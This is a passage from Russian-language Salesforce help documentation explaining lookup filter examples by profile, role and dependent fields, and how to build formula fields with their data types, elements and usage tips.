Заявки о приеме на работу могут быть связаны только с открытыми позициями. Результаты поиска отображают только
открытые позиции.

Профили в фильтрах поиска

Если бизнес-правило не применяется к пользователям всех профилей, воспользуйтесь полями глобальной переменной
«Профиль текущего пользователя», чтобы определить фильтры поиска, влияющие только на пользователей
определенного профиля.

Например, фильтрпоисканижедляполяобращения «Имя организации» позволяетпользователямпрофиля «Внутренние
продажи» толькосоздаватьилиредактировать возможности, связанныесорганизациями, поле «Странадля счета» которых
содержит значение «США», а другим пользователям — связывать возможности с любыми организациями.

Критерийфильтрации

1. «"Профиль текущего пользователя: имя" равно "Внутренние продажи"»

2. «"Имя организации: страна для счета" равно "США"»
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3. «"Профиль текущего пользователя: имя" не равно "Внутренние продажи"»

Логикафильтра
(1 И 2) ИЛИ 3

Настраиваемое сообщение об ошибке
Организация не существует или США не используется как страна для счета. Внутренние торговые представители могут
создавать возможности только для организаций США.

Текст окна поиска
Результаты поиска отображают только организации США для внутренних торговых представителей.

Чтобыразрешитьпользователямнастраиваемогопрофиля «Глобальныепродажи» связывание возможностей с любыми
организациями, кроме американских, измените пример выше.

Критерийфильтрации

1. «"Профиль текущего пользователя: имя" равно "Глобальные продажи"»

2. «"Имя организации: страна для счета" не равно "США"»

3. «"Профиль текущего пользователя: имя" равно "Внутренние продажи"»

4. «"Имя организации: страна для счета" равно "США"»

5. «"Профиль текущего пользователя: имя" не равно "Глобальные продажи", "Внутренние продажи"»

Логикафильтра
(1 И 2) ИЛИ (3 И 4) ИЛИ 5

Настраиваемое сообщение об ошибке
Организация не существует или страна для счета не охватывается рынком сбыта. Торговые представители могут создавать
возможности только для организаций, охваченных рынком сбыта.

Текст окна поиска
Результаты поиска отображают только организации региона.

Важное замечание: При исключении строки 5 из критерия фильтрации значения для организаций могут быть
выбраныилисохраненытолькопользователяминастраиваемогопрофиля «Глобальныепродажи» или «Внутренние
продажи».

Роли в фильтрах поиска

Еслибизнес-правилонеприменяется кпользователямвсехролей, воспользуйтесьполямиглобальнойпеременной «Роль
текущего пользователя», чтобы определить фильтры поиска, влияющие только на пользователей определенной роли.
Например, если приложение по подбору кадров использует объект «Позиция», содержащий поле поиска по объекту
«Компенсационныйпакет», то позиции, которым предоставляется компенсационныйплан руководящего состава, могут
создаватьсяилиредактироваться толькоруководителямииливице-президентами. Введитефильтрпоисканижедляполя
позиции «Имя компенсационного пакета».

Критерийфильтрации

1. «"Роль текущего пользователя: имя" не начинается с "Вице-президент"»

2. «"Роль текущего пользователя: имя" не равно "Руководитель"»

3. «"Компенсационный пакет: тип плана" не равно "Руководитель"»

4. «"Роль текущего пользователя: имя" начинается с "Вице-президент"»

5. «"Роль текущего пользователя: имя" равно "Руководитель"»
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Логикафильтра
((1 ИЛИ 2) И 3) ИЛИ (4 ИЛИ 5)

Настраиваемое сообщение об ошибке
Компенсационный план не существует или выбранный план предназначается для руководящего состава, а создание руководящих
позиций недоступно.

Текст окна поиска
Результаты поиска отображают только компенсационные планы, соответствующие позициям, доступным для создания.

Важное замечание: Добавьте условие тестирования и противоположное условие. Согласно данному примеру,
строки 1, 2 и 3 критерия фильтрации запрещают пользователям, которые не являются вице-президентами или
руководителями, выбирать компенсационные планы руководящего состава, тогда как строки 4 и 5 разрешают
вице-президентам и руководителям выбирать данные компенсационные планы.

Пустые значения в фильтрах поиска

Критерий фильтрации поиска может ссылаться на пустое поле. Чтобы создать критерий фильтрации поиска,
принимающийпустые значения, щелкните «Добавитьлогикуфильтра» в критериифильтрациидля создания условия
«ИЛИ». Например, приналичиинастраиваемогополявозможности «Контакт партнера» введитекритерийфильтрации,
возвращающий только контакты, связанные с организациями типа «Организация-партнер», или личные несвязанные
контакты.

Критерийфильтрации

1. «"Контакт партнера: Организация: тип записи организации" равно "Организация-партнер"»

2. «"Контакт партнера: Организация: имя организации" равно »

Логикафильтра
1 ИЛИ 2

Настраиваемое сообщение об ошибке
Контакт партнера должен быть связан с организацией-партнером или должен быть личным.

Текст окна поиска
Результаты поиска отображают только контакты организаций-партнеров или личные контакты.

Коды пользователей в фильтрах поиска

Использование кодовпользователей в дополнительныхфильтрахпоискаможет значительноповысить эффективность
работы путем отображения важных результатов поиска и предоставления возможности просмотра всех результатов.
Например, поле поиска по организациям позволяет создать дополнительныйфильтр поиска, возвращающий только
организации, принадлежащие пользователю в результатах поиска посредством диалогового окна. Чтобы найти
организацию, принадлежащую другому пользователю, рекомендуем удалить данныйфильтр.

Критерийфильтрации
«"Текущий пользователь: код пользователя" равно "Организация: код ответственного"»

Текст окна поиска
По умолчанию результаты поиска отображают только собственные организации. Чтобы выполнить поиск по всем
организациям, щелкните «Показать все результаты».
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Простые зависимые поиски

Если значение поля взаимосвязи должно зависеть от значения другого поля взаимосвязи текущей записи, укажите
сравнение по полям. Например, если поле обращения «Имя контакта» должно содержать только контакты, связанные
с организацией, указанной в поле обращения «Имя организации», воспользуйтесь фильтром поиска ниже.

Критерийфильтрации
«"Имя контакта: код организации" равно "Обращение: Код организации

Настраиваемое сообщение об ошибке
Контакт не существует или не связан с организацией обращения.

Текст окна поиска
Результаты поиска отображают только контакты, связанные с организацией обращения.

Прим.: При сравненииполейпоиска в критериифильтрациипоиска система Salesforce всегда использует код поля
взаимосвязи, а не имя.

Сложные фильтры поиска и зависимые поиски

Выполнение сложных бизнес-правил с фильтрами поиска часто требует совместного использования правил с логикой
фильтраиполямиразного типа. Например, приложениедлябронированияконференц-заловиспользуетмодельданных
ниже.

ПоляОбъект

Конференция • «Имя конференции»

• Поле поиска «Офис» по объекту «Офис»

• Флажок «Требуется проектор»

• Числовое поле «Количество участников»

• Поле поиска «Конференц-зал» по объекту
«Конференц-зал»

Конференц-зал • «Имя конференц-зала»

• Флажок «Проектор»

• Числовое поле «Количество доступных мест»

• Поле поиска «Расположение конференц-зала» по
объекту «Офис»

Офис • «Имя офиса»

Фильтрпоисканижедляполя конференции «Конференц-зал» ограничиваетдопустимыезначенияконференц-залами,
оснащенными проекторами и нужным количеством мест.

Критерийфильтрации

1. «"Конференция: требуется проектор" равно "Конференц-зал: проектор"»

2. «"Конференция: требуется проектор" равно "Ложь"»
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3. «"Конференц-зал: количество доступных мест" больше или равно "Конференция: количество участников"»

Логикафильтра
(1 ИЛИ 2) И 3

Настраиваемое сообщение об ошибке
Конференц-зал не найден или не соответствует заданным критериям.

Текст окна поиска
Результаты поиска отображают только конференц-залы, соответствующие заданным критериям.

Чтобы дополнительно уточнить допустимые значения, укажите расположение конференц-зала.

Критерийфильтрации

1. «"Конференция: требуется проектор" равно "Конференц-зал: проектор"»

2. «"Конференция: требуется проектор" равно "Ложь"»

3. «"Конференц-зал: количество доступных мест" больше "Конференция: количество участников"»

4. «"Конференция: офис" равно "Конференц-зал: расположение конференц-зала"»

Логикафильтра
(1 ИЛИ 2) И 3 И 4

Настраиваемое сообщение об ошибке
Конференц-зал не найден или не соответствует заданным критериям.

Текст окна поиска
Результаты поиска отображают только конференц-залы, соответствующие заданным критериям.

СМ. ТАКЖЕ:

Примечания к фильтрам поиска

Полезные советы: создание фильтров поиска для полей взаимосвязи

Использование формул

Формулы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Отчеты и утверждения
недоступны в версиях:
Database.com Edition.

ДанныйвидеороликохватываетосновныесведенияоформулахSalesforce, атакжеспособы
доступа к редактору формул в приложении и порядок использования инструментов
редактора для создания формул.

Формула — это алгоритм, извлекающийсвое значениеиздругихполей, выраженийили
значений. Формулы позволяют автоматически вычислять значение поля на основе
других полей.

Формулы используются многими областями системы Salesforce. Прежде чем начать
использование формул, просмотрите различия ниже.

Значение:Использование
формул для:

Определитекритерии, которымдолжнасоответствовать запись
для входа в процесс утверждения.

Процессы
утверждения
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Значение:Использование формул
для:

Определите критерии, которым должна соответствовать запись для входа на этап
утверждения.

Этапы утверждения

Определите критерии, которым должен соответствовать интерес или обращение для
его назначения.

Правила назначения для
интересов и обращений

Определите критерии, которым должен соответствовать интерес или обращение для
выполнения правила автоматического ответа.

Правила автоматического
ответа для интересов и
обращений

Определитекритерии, которымдолжносоответствоватьобращениедляегорасширения.Правила расширения
обращений

Определите содержимое для настраиваемых ссылок и кнопок.Настраиваемые кнопки и
ссылки

Создайте поля настраиваемойформулы, которые автоматически вычисляют значение
на основе других значений, полей слияния или выражений. Пользователи могут

Настраиваемые поля

просматривать поля формулы на страницах сведений о записях, но не могут
просматривать базовый алгоритм и редактировать значение поля формулы.

Прим.: Поля настраиваемойформулынедоступны в приложении Connect Offline
и формах Web-to-Lead или Web-to-Case.

Автоматически вычисляют дополнительные итоговые значения на основе текущих
полей резюмирования отчета посредством значений, полей слияния или заданных
выражений. Данные итоговые значения не могут быть изменены.

Настраиваемые формулы
резюмирования в отчетах

Проверьтесоответствиевведенныхданныхуказаннымстандартамдосохранениязаписи.
Правилопроверкиможет содержатьформулу (например, CloseDate >= TODAY()).

Проверки данных

Применитезначениекнастраиваемомуполюприсозданиизаписи. Формулыпозволяют
задавать стандартные значения (например, TODAY() + 7).

Стандартное значение может быть изменено. Стандартные значения полей могут
опиратьсянаформулыпосредствомзначений, полейслиянияилизаданныхвыражений.

Стандартные значения полей

Определитекритерии, которымдолжносоответствоватьобращениедляегорасширения.Правила расширения

Автоматическивычисляютзначениенастраиваемогополяпосредствомзначений, полей
слияния или заданных выражений. Значение поля формулы не может быть изменено.

Поля формулы

Создайтенастраиваемыеформулырезюмирования в отчетах, позволяющиевычислять
дополнительные итоговые значения на основе текущих сводок отчета.

Отчеты

Определите содержимое для элементов S-Control.Элементы S-Control

Препятствуют заполнению стандартного или настраиваемого поля недопустимым
значением. Правила проверки могут опираться на формулы и отображать сообщение
об ошибке при вводе недопустимого значения.

Правила проверки
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Значение:Использование формул
для:

Автоматически заменяют текущее значение поля заданным значением. Формуламожет
содержать другие значения, поля слияния или выражения. Обновления полей могут
выполняться в результате выполнения бизнес-правила или процесса утверждения.

Обновления полей
бизнес-правил

Определите критерии, которым должна соответствовать запись для выполнения
бизнес-правила.

Бизнес-правила

Определите содержимое для страниц Visualforce.Страницы Visualforce

Типичные процессы формулы

Наличие ссылок
на родительские
поля слияния

Использование
нулевой
обработки

Наличие
функций

Только для
чтения

Условие
выполнения

НетНетДаНетСоздание записиСтандартные
значения полей

ДаДаДаДаОтображение
записи

Поляформулы

ДаНетДаНе применимоСохранение
записи

Правилапроверки

ДаНетДаНе применимоСохранение
записи

Бизнес-правила

ДаНетДаНе применимоОтправка записи
на утверждение

Процессы
утверждения

ДаНетДаНе применимоБизнес-правило
или процесс
утверждения

Обновленияполей

НетДаДа, ограниченный
набор функций

ДаОтображение
отчета

Настраиваемые
формулы
резюмирования
для отчетов

СМ. ТАКЖЕ:

Элементы формулы

Типы данных формулы

Типы данных формулы
Тип данных формулы определяет тип данных, возвращаемыйформулой. Ниже перечислены доступные типы данных.
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ОписаниеТип данных

Возвращает значение «Истина» или «Ложь». Поле отображается в виде кнопки-флажка на
страницах сведений о записях и в отчетах. Рекомендуем использовать «Истина» для
отмеченных значений и «Ложь» для неотмеченных.

Кнопка-флажок

Возвращает в валюте число, содержащее не более 18 цифр со знаком валюты.Валюта

Прим.: Значения полей валюты в системе Salesforce округляются до целого четного
числа. Например, значение 23,5 округляется до 24, значение 22,5 округляется до 22,
значение −22,5 округляется до −22, а значение −23,5 округляется до −24.

Возвращает данные, отображающие день календаря. Текущая дата может быть добавлена
вформулу путем вызова встроеннойфункции TODAY(). Данный тип данныхнедоступен
для настраиваемых формул резюмирования в отчетах.

Дата

Возвращает данные, отображающие момент времени. Поле типа «Дата/время» содержит
дату и время дня, включая часы, минуты и секунды. Текущая дата и время могут быть

Дата/время

добавлены вформулу посредствомфункции NOW(). Данный тип данных недоступен для
настраиваемых формул резюмирования в отчетах.

Возвращаетположительноеилиотрицательноецелоеилидесятичноечисло, содержащее
не более 18 цифр. Значения полей формулы в системе Salesforce округляются в сторону

Число

увеличения. Например, значение 12,345 округляетсядо 12,35, а значение−12,345 округляется
до -12,34.

Возвращает в процентах число, содержащее не более 18 цифр со знаком процента.
Процентные данные хранятся в виде десятичных чисел, разделенных на 100 (например,
«90%» соответствует значению «0,90»).

Процент

Возвращает строку, содержащуюне более 3 900 символов. Текст, заключенный в кавычки,
отображается в качестве дополнения к результату формулы. Рекомендуем использовать

Текст

текстовый тип данных для полей типа «Текст», «Область текста», «URL-адрес», «Тел.», «Эл.
почта», «Адрес» и «Автонумерация». Данный тип данных недоступен для настраиваемых
формул резюмирования в отчетах.

СМ. ТАКЖЕ:

Создание формул

Элементы формулы
Формуламожет содержать ссылкина значенияполей, операторы, функции, литеральные значенияилидругиеформулы.
Чтобы создатьформулу, воспользуйтесь элементами, перечисленнымив таблицениже. Дополнительнуюинформацию
о создании формул см. в разделе «Создание формул».

ОписаниеИмя элемента

Введенная текстовая строка или число, которое не
вычисляется и не изменяется. Например, при наличии

Литеральное значение

значения, которое всегда умножается на 2% от суммы,

4618

Использование формулРасширение Salesforce посредством интерактивных
инструментов



ОписаниеИмя элемента

формула содержит литеральное значение, равное 2% от
суммы.

ROUND((Amount*0.02), 2)

Данный пример содержит все возможные составляющие
формулы.

• Функция ROUND, используемая для возврата числа,
которое округляется до определенного количества
знаков после запятой.

• Ссылка на поле Amount.

• Оператор «*», уведомляющий конструктор формул об
умножениисодержимогополя Amount налитеральное
значение «0,02».

• Литеральное число «0,02». Рекомендуем использовать
процентыввидедесятичныхзначений. Чтобыдобавить
текст в формулу, воспользуйтесь кавычками.

• Число «2», отображаемоевданнойформулепоследним,
вводится пользователем для функции ROUND и
определяет количество знаков после запятой, которое
должно быть возвращено.

Данный элемент ссылается на значение другого
настраиваемого или стандартного поля посредством поля

Ссылка на поле

слияния. Поле слияния использует следующий синтаксис:
field_name для стандартного поля или
field_name__c длянастраиваемогополя. Полеслияния
связанного объекта использует следующий синтаксис:
object_name__r.field_name. Чтобы вставить поле
слияния в формулу, воспользуйтесь кнопкой «Вставить
поле» или раскрывающимся списком.

Системная формула, которая может требовать
пользовательского ввода и возвращает как минимум одно

Функция

значение. Например, функция TODAY() не требует
пользовательского ввода, но возвращает текущую дату.
Функция TEXT(значение) требует ввода процента, числа
или валюты и возвращает текст.

Символ, определяющий тип нужных вычислений или
порядок их выполнения. Например, символ (+) указывает

Оператор

насложениедвух значений. Открывающиеизакрывающие
круглые скобки определяют выражения, которые должны
оцениваться первыми.
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ОписаниеИмя элемента

Пометка внутриформулы, начинающаяся косой чертой и
звездочкой (/*), а заканчивающаяся звездочкой и косой
чертой (*/). Например:

/*This is a formula comment*/

Комментарий

Комментарии пропускаются при обработке формулы.

Комментарии предназначены для пояснения некоторых
компонентов формулы при просмотре определения
формулы. Например:

AND(
/*competitor field is required, check to see
if field is empty */
LEN(Competitor__c) = 0,
/* rule only enforced for ABCD record types
*/
RecordType.Name = "ABCD Value",
/* checking for any closed status, allows
for additional closed picklist values in the
future */
CONTAINS(TEXT(StageName), "Closed")
)

Кроме того, комментарии могут использоваться для
комментированияразделовформулыприотладкеипроверке
синтаксиса на наличие ошибок.

Прим.:

• Вложенность комментариев инициирует
возникновение синтаксической ошибки.
Например, формула, содержащаяуказанныйниже
компонент, не может быть сохранена.

/* /* comment */ */

• Комментирование целой формулы инициирует
возникновение синтаксической ошибки.

• Комментарии учитываются ограничениями по
количеству символов и байтов в формулах.

СМ. ТАКЖЕ:

Создание формул
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Формулы: Вопросы ?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Некоторые вопросы не
относятся к версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сведений о
поле формулы:
• «Просмотр настройки и

конфигурации»

Для создания, изменения
или удаления полей
формулы:
• «Настройка

приложения»

Общие математические вычисления

• Как сложить числа?

• Как преобразовать текст в число?

• Как разделить числа?

• Как умножить числа?

• Как округлить числа?

• Как вычесть числа?

Общие текстовые функции

• Как проверить поле на наличие указанного текста?

• Как проверить поле раскрывающегося списка на наличие указанного значения?

• Как объединить имя и фамилию?

• Как преобразовать числа в текст?

• Как создать поле гиперссылки?

Настраиваемые формулы резюмирования для отчетов

• Какрассчитатьобщееколичествоинтересов, для которыхустановленыфлажки «Без
рассылки по эл. почте» и «Не звонить»?

• Как вычислить разность между всеми полями Amount и всеми полями Discounted
Amount для возможностей?

• Как рассчитать среднюю продолжительность всех возможностей?

• Как рассчитать процент всех закрытых и реализованных возможностей?

• Как возвести в квадрат количество активных пользователей Salesforce в целях администрирования?

• Как рассчитать продолжительность всех действий (в минутах), умноженную на количество записей за 24 часа?

• Как рассчитать средний процент прибыли по продукту среди возможностей?

• Как рассчитать процентное отношение одного продукта ко всем продуктам закрытых возможностей?

• Как рассчитать изменение дохода от возможностей между месяцами?
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Создание формул

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сведений о
поле формулы:
• «Просмотр настройки и

конфигурации»

Для создания, изменения
или удаления полей
формулы:
• «Настройка

приложения»

Прим.: Справочный видеоролик «Начало работы с формулами» позволяет
получитьнаглядноепредставлениеоб этапах, рассмотренныхвданномдокументе.

Полянастраиваемойформулытребуютналичияспециальныхатрибутов. Чтобысоздать
формулу, выполните указанные ниже действия.

1. Чтобы начать создание поля формулы, воспользуйтесь алгоритмом создания
настраиваемогополя. См. раздел «Созданиенастраиваемыхполей»настранице4495.

2. Выберите тип данных для формулы. Исходя из результата вычисления, выберите
соответствующий тип данных для формулы. См. раздел «Типы данных формулы»
на странице 4617.

3. Исходя из выбранного типа данных, выберите количество знаков после запятой.
Данныйпараметрпропускаетсядляполейвалютывмультивалютныхорганизациях.
Взамен, применяется параметр валюты «Знаки после запятой».

Прим.: Значения полей формулы в системе Salesforce округляются в сторону
увеличения. Например, значение 12,345 округляется до 12,35, а значение−12,345
округляется до -12,34.

4. Нажмите кнопку «Далее».

5. Создайте формулу.

a. Еслиформула создается на вкладке «Сложнаяформула» или для утверждений
и правил (например, для бизнес-правил, правил проверки, назначения,
автоматического ответа или расширения), нажмите кнопку «Вставить поле», выберите поле и нажмите кнопку
«Вставить».

Чтобысоздатьосновнуюформулу, котораяпередаетопределенныеданныеSalesforce, откройтевкладку«Простая
формула», выберите тип поля в раскрывающемся списке «Выбрать тип поля» и выберите нужное поле в
раскрывающемся списке «Вставить поле».

Совет: Чтобы охватить связанные объекты и добавить ссылку на поля слияния этих объектов, создайте
формулы кросс-объектов.

b. Чтобы вставить оператор, выберите соответствующий значок оператора в раскрывающемся списке «Вставить
оператор».

c. Чтобывоспользоватьсяфункциямиипросмотретьдополнительныеоператорыиполя слияния, откройте вкладку
«Сложнаяформула». Функции — это готовыеформулы, которыемогутбытьнастроеныпосредствомпараметров
ввода.

d. Чтобывставитьфункцию, дваждыщелкнитеееимявспискеиливыберитенужнуюфункциюищелкните«Вставить
выбраннуюфункцию». Чтобыотфильтроватьсписокфункций, выберитенужнуюкатегориювраскрывающемся
списке «Функции». Чтобыпросмотретьописаниеипримерыформул, использующихданнуюфункцию, выберите
нужнуюфункцию ищелкните «Справка по этойфункции».

e. При необходимости добавьте комментарии к формуле (особенно при использовании сложной формулы).
Комментарии должны начинаться косой чертой и звездочкой (/*), а заканчиваться наоборот — звездочкой и
косой чертой (*/).
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Комментарии предназначены для пояснения некоторых компонентов формулы при просмотре определения
формулы. Например:

AND(
/*competitor field is required, check to see if field is empty */
LEN(Competitor__c) = 0,
/* rule only enforced for ABCD record types */
RecordType.Name = "ABCD Value",
/* checking for any closed status, allows for additional closed picklist values in
the future */
CONTAINS(TEXT(StageName), "Closed")
)

Кроме того, комментарии могут использоваться для комментирования разделов формулы при отладке и проверке
синтаксиса на наличие ошибок.

Прим.:

• Вложенность комментариев инициирует возникновение синтаксической ошибки. Например, формула,
содержащая указанный ниже компонент, не может быть сохранена.

/* /* comment */ */

• Комментирование целой формулы инициирует возникновение синтаксической ошибки.

• Комментарии учитываются ограничениями по количеству символов и байтов в формулах.

Прим.: Поля формулы могут содержать не более 3 900 символов, включая пробелы, символы возврата и
комментарии. Если формула содержит большее количество символов, рекомендуем создать отдельное поле
формулы и добавить ссылку на новое поле в другое поле формулы. Максимально допустимое количество
символов, отображаемых после оценки выражения формулы, составляет 1 300 символов.

6. Чтобы проверить формулу на наличие ошибок, нажмите кнопку «Проверка синтаксиса».

7. При необходимости введите описание формулы в поле «Описание».

8. Если формула ссылается на поля чисел, валюты или процентов, выберите способ обработки пустых полей. Чтобы
присвоить нулевое значение всем пустым полям, выберите «Считать пустые поля нулевыми». Чтобы оставить
данные поля пустыми, выберите «Считать пустые поля пустыми».

9. Нажмите кнопку «Далее».

10. Чтобы определить уровень доступности поля для конкретных профилей, настройте параметры безопасности поля
и нажмите кнопку «Далее».

11. Выберите макеты страниц, которые должны отображать данное поле. Поле добавляется в конец первого
двухстолбцового раздела макета страницы. Настраиваемое поле пользователя автоматически добавляется в конец
страницы сведений о пользователе.

12. Позавершениинажмите кнопку «Сохранить». Чтобысоздать дополнительныенастраиваемыеполя, нажмите кнопку
«Сохранить и создать».
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Прим.: Поля формулы вычисляются автоматически, поэтому доступны только для чтения на страницах сведений
озаписяхинеподдерживаютобновлениедатыпоследнегоизменения. Поляформулынеотображаютсянастраницах
редактирования.

Всеполяорганизаций-компаний, используемыевформулахорганизаций, доступнывкачествеполейслияния. Поля
организаций, поддерживаемые только организациями-лицами (например, «Дата рождения» и «Эл. почта»),
недоступны.

СМ. ТАКЖЕ:

Элементы формулы

Поля слияния для формул

Советы по созданиюформул

Операторы и функцииформулы

Советы по созданию формул

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Посмотреть демонстрационный ролик: Формулы: советы и рекомендации

• Доступные поля формулы могут ссылаться на поля, скрытые или доступные только
для чтения согласно параметрам безопасности поля. Если полеформулы содержит
конфиденциальные данные, рекомендуем скрыть данное поле посредством
параметров безопасности.

• Поляформулыдлядействиймогутбытьдобавленывмакетыстраницзадачисобытий.
Обратите внимание, что поля формулы, связанные с задачами, не могут
использоваться в макетах страниц событий. Аналогично, поляформулы, связанные
с событиями, не могут использоваться в макетах страниц задач.

• Чтобы определить, является ли запись задачей или событием, воспользуйтесь полем слияния IsTask. Например:

IF(IsTask, "This is a task", "This is an event")

Дополнительную информацию об использовании отдельных типов полей формулы см. в разделах ниже.

• Советы по созданиюформул кросс-объектов

• Советы по использованию полей формулы типа «Дата» и «Дата/время»

• Советы по использованию полей слияния в формулах

• Советы по использованию числовых полей формулы

• Советы по использованию полей формулы типа «Раскрывающийся список» и «Раскрывающийся список со
множественным выбором»

• Советы по использованию типов записей в формулах

• Советы по использованию текстовых полей формулы

СМ. ТАКЖЕ:

Создание формул

Ошибки формулы
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Советы по использованию полей формулы типа «Дата» и «Дата/время»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

• При вычислении дат и времени всегда используется часовой пояс пользователя.

• Поля типа «Дата» и «Дата/время» не являются взаимозаменяемыми. Имя поля не
позволяетопределить, является лиданноеполеполемтипа «Дата» или «Дата/время».
Например, поля «Дата создания» и «Дата последнего изменения» — этополя типа
«Дата/время», тогда как поле «Дата последнего действия» — это поле типа «Дата».
Чтобы преобразовать поле типа «Дата/время» в поле типа «Дата», воспользуйтесь
функцией DATEVALUE.

Прим.: Поля «Дата создания» и «Дата последнего изменения» отображают
только дату, но не время.

• Чтобывычислитьпродолжительность, добавьтеоператорысложенияивычитаниявполятипа «Дата» или «Дата/время».
Например, чтобы вычислить количество дней между двумя датами, отнимите одно значение даты от другого.
Аналогично, чтобы вычислить количество дней между двумя датами в виде числа, отнимите одно значение
даты/времени от другого. Примеры использования см. в определениифункции NOW или TODAY.

• Чтобы вычислить другое значение даты или даты/времени, воспользуйтесь операторами сложения и вычитания.
Например, формула {!CreatedDate} + 5 вычисляет дату и время, которые наступят через пять дней после даты
создания записи. Обратите внимание, что выражение возвращает тот же тип данных; поле даты плюс/минус число
возвращает дату, а поле даты/времени плюс/минус число возвращает дату/время.

• Если при вычислении даты используются дроби, то система Salesforce пропускает любые цифры, расположенные
после десятичной запятой. Например:

Формула TODAY() + 0.7 соответствует формуле TODAY() + 0, возвращающей текущую дату.

Формула TODAY() + 1.7 соответствует формуле TODAY() + 1, возвращающей завтрашнюю дату.

Формула TODAY() + (-1.8) соответствует формуле TODAY() + (-1), возвращающей вчерашнюю дату.

• Чтобы вычислить значение двух дробей, рекомендуем сгруппировать их посредством скобок. Например:

Формула TODAY() + 0.5 + 0.5 соответствует формуле TODAY() + 0 + 0, возвращающей текущую дату.

Формула TODAY() + (0.5+0.5) соответствует формуле TODAY() + 1, возвращающей завтрашнюю дату.

• Значение года не может быть нулевым и должно находиться в диапазоне от -4713 до 9999.

СМ. ТАКЖЕ:

Советы по созданиюформул

Советы по использованию полей слияния в формулах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

• Поля слияния объектов доступны делегированным администраторам в формулах
только при наличии доступа к настраиваемым объектам.

• Всеполяорганизаций-компаний, используемыевформулахорганизаций, доступны
в качестве полей слияния. Поля организаций, поддерживаемые только
организациями-лицами (например, «Дата рождения» и «Эл. почта»), недоступны.

• Поля формулы, содержащие поля слияния связанного объекта, не могут
использоваться полями сводного резюмирования.

• Формулы и поля сводного резюмирования не могут ссылаться на поля внешних
объектов.
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• Использованиеполяслияния RecordType.Id можетснизитьчитаемостьформулы. Чтобыуточнитьпредназначение
формулы, рекомендуем использовать встроенные комментарии.

• Чтобы определить, является ли запись задачей или событием, воспользуйтесь полем слияния IsTask. Например:

IF(IsTask, "This is a task", "This is an event")

• Чтобы добавить ссылку на уникальный идентификатор организации Salesforce в формулу, вставьте поле слияния
$Organization.Id. Данноеполе слиянияможетотображаться во всехобластях, доступныхполямформулы, кроме
отчетов.

• Некоторые поля слияния отображаются в виде переключателей, но при использовании в формулах действуют как
поля раскрывающегося списка.

Ниже перечислены поля слияния, которые при использовании в формулах могут содержать значения «Чтение»,
«Правка» и «Нет».

– $UserRole.CaseAccessForAccountOwner

– $UserRole.OpportunityAccessForAccountOwner

– CaseAccessLevel (для территории)

– OpportunityAccessLevel (для территории)

Ниже перечислены поля слияния, которые при использовании в формулах могут содержать значения «Чтение»,
«Правка» и «Все».

– AccountAccessLevel (для территории)

• Созданное поле формулы контактов, ссылающееся на поля слияния организации, может быть добавлено в макеты
страниц контактов, но должно быть исключено из макетов страниц организаций-лиц. Полеформулы, используемое
на странице организаций-лиц, отображает значение #Ошибка.

СМ. ТАКЖЕ:

Советы по созданиюформул

Советы по использованию числовых полей формулы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

• Еслиформуласодержитполяпроцентов, воспользуйтесьдесятичнымпредставлением
процента. Например, формула IF(Probability =1...) соответствует 100%
вероятности, а формула IF(Probability =0.9...)  90% вероятности.

• Формулы позволяют ссылаться на поля автонумерации как на текстовые поля.

• Результат формулы может содержать не более 19 цифр.

• Формулымогутсодержатьчисла, процентыивалюты. Например, AnnualRevenue
/ NumberOfEmployees.

• Значения полей формулы в системе Salesforce округляются в сторону увеличения.
Например, значение 12,345 округляется до 12,35, а значение −12,345 округляется до
-12,34.

СМ. ТАКЖЕ:

Советы по созданиюформул
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Советы по использованию полей формулы типа «Раскрывающийся список» и «Раскрывающийся список со
множественным выбором»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

• Ниже перечисленыфункции, поддерживающие использование полей типа
«Раскрывающийся список».

– ISPICKVAL: сопоставляет значение раскрывающегося списка с одним значением.

– CASE: сопоставляетзначениераскрывающегосяспискаснесколькимизначениями.

– TEXT: преобразует значение раскрывающегося списка в текстовое значение,
котороеможетиспользоватьсявфункциях, поддерживающихтекстовыезначения
(например, CONTAINS). (Данная функция доступна только в ресурсах формулы
потока, поляхформулы, правилахпроверкииобновленияхполейбизнес-правил.)

• Функция TEXT всегда возвращает значения раскрывающегося списка на основном языке организации, а не на языке
текущего пользователя.

• Ниже перечисленыфункции, поддерживающие использование полей типа «Раскрывающийся список со
множественным выбором».

– INCLUDES

– ISBLANK

– ISNULL

– ISCHANGED (Данная функция доступна только в правилах назначения, правилах проверки, обновлениях полей и
бизнес-правилах, использующих критерий оценки «Оценить правило, если запись: создано и изменено»).

– PRIORVALUE (Данная функция доступна только в правилах назначения, правилах проверки, обновлениях полей и
бизнес-правилах, использующих критерий оценки «Оценить правило, если запись: создано и изменено»).

СМ. ТАКЖЕ:

Советы по созданиюформул

Советы по использованию типов записей в формулах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Типызаписей, используемыевформулах, позволяютприменятьразныебизнес-правила,
правила проверки и фильтры поиска к разным типам записей. Например, ниже
перечислены доступные действия.

• Создайте бизнес-правило для организаций, отправляющее сообщения эл. почты
разным рабочим группам на основе типа записи, выбранного пользователем при
создании организации.

• Создайте правило проверки для возможностей, позволяющее участникам группы
сбыта «Северная Америка» сохранять возможности только с типом записи
«Внутренние продажи».

Чтобы добавить ссылку на конкретный тип записи, воспользуйтесь полем RecordTypeId вместо поля
RecordType.Name  (при наличии такой возможности). Поле RecordType.Name облегчает восприятие формулы,
но требует обновления формулы при изменении имени типа записи, тогда как код типа записи остается неизменным. В
отличие от поля RecordTypeId, поле RecordType.Name требует ссылку кросс-объекта на тип записи. Однако, при
развертыванииформулы в организациях (например, между безопасной и производственной средой) рекомендуем
